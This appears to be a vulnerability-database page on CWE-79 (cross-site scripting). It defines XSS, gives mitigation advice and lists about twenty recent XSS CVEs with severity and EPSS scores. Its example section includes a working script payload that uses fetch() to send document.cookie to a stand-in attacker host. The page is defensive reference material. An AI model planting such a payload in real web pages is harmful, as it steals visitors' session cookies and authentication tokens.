Fallos del tipo CWE-79

30.601 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-104656HIGHCross-site Scripting in Progress Telerik Fiddler EverywhereEPSS 0.2%CVE-2026-109131MEDIUMAnsible-ui: ansible-ui: stored xss via unsafe javascript url scheme in hub collection module documentation (formatparturl)EPSS 0.2%CVE-2022-50685MEDIUMKentico Xperience <= 13.0.56 File Upload Stored XSSEPSS 0.2%CVE-2026-109597MEDIUMHugo v0.60.0 before v0.167.0 Stored XSS via Table of Contents Heading IDsEPSS 0.2%CVE-2024-58322MEDIUMKentico Xperience <= 13.0.158 Shipping Options Stored XSSEPSS 0.2%CVE-2025-67734MEDIUMFrappe Authenticated Users can Execute JavaScript through its Job FormEPSS 0.2%CVE-2026-84925MEDIUMAvada | Website Builder For WordPress & WooCommerce <= 7.16.1 - Reflected Cross-Site Scripting via 'lang' ParameterEPSS 0.2%CVE-2025-2154MEDIUMStored XSS in EchoCCS's Specto CMEPSS 0.2%CVE-2025-64999HIGHCross-site scripting in HTML logs of Synthetic Monitoring test servicesEPSS 0.2%CVE-2026-94154MEDIUMAurora Heatmap <= 1.7.2 - Unauthenticated Stored Cross-Site Scripting via 'url' ParameterEPSS 0.2%CVE-2026-2951MEDIUMGutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor <= 3.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutentor Block HTMLEPSS 0.2%CVE-2026-106707MEDIUMXXL-JOB <=3.5.0-SNAPSHOT contains a stored Cross-Site Scripting (XSS) vulnerability in the job log list page (/joblog). An authenticated useEPSS 0.2%CVE-2026-39380MEDIUMOpen Source Point of Sale has Stored XSS in Stock Location (Configuration)EPSS 0.2%CVE-2026-12054MEDIUMDownload Manager <= 3.3.57 - Unauthenticated DOM-Based Reflected Cross-Site Scripting via 'REFERRER' ParameterEPSS 0.2%CVE-2026-89117MEDIUMCross-Site Scripting (XSS) vulnerability in SAP NetWeaver Enterprise PortalEPSS 0.2%CVE-2026-40451MEDIUMDeepL Chrome browser extension versions from v1.22.0 to v.1.23.0 contain a cross-site scripting vulnerability, which allows an attacker to eEPSS 0.2%CVE-2026-124452MEDIUMOpenEMR before 8.3.0 Stored XSS via Eye Exam Document NotesEPSS 0.2%CVE-2026-106706MEDIUMXXL-JOB through 3.5.0-SNAPSHOT is vulnerable to stored cross-site scripting (XSS) in the GLUE code editor. JobCodeController.save() stores tEPSS 0.2%CVE-2026-20108MEDIUMA vulnerability in the web-based management interface of Cisco Catalyst SD-WAN Manager could allow an authenticated, remote attacker to condEPSS 0.2%CVE-2026-6417MEDIUMGLS Shipping for WooCommerce <= 1.4.0 - Reflected Cross-Site Scripting via 'failed_orders'EPSS 0.2%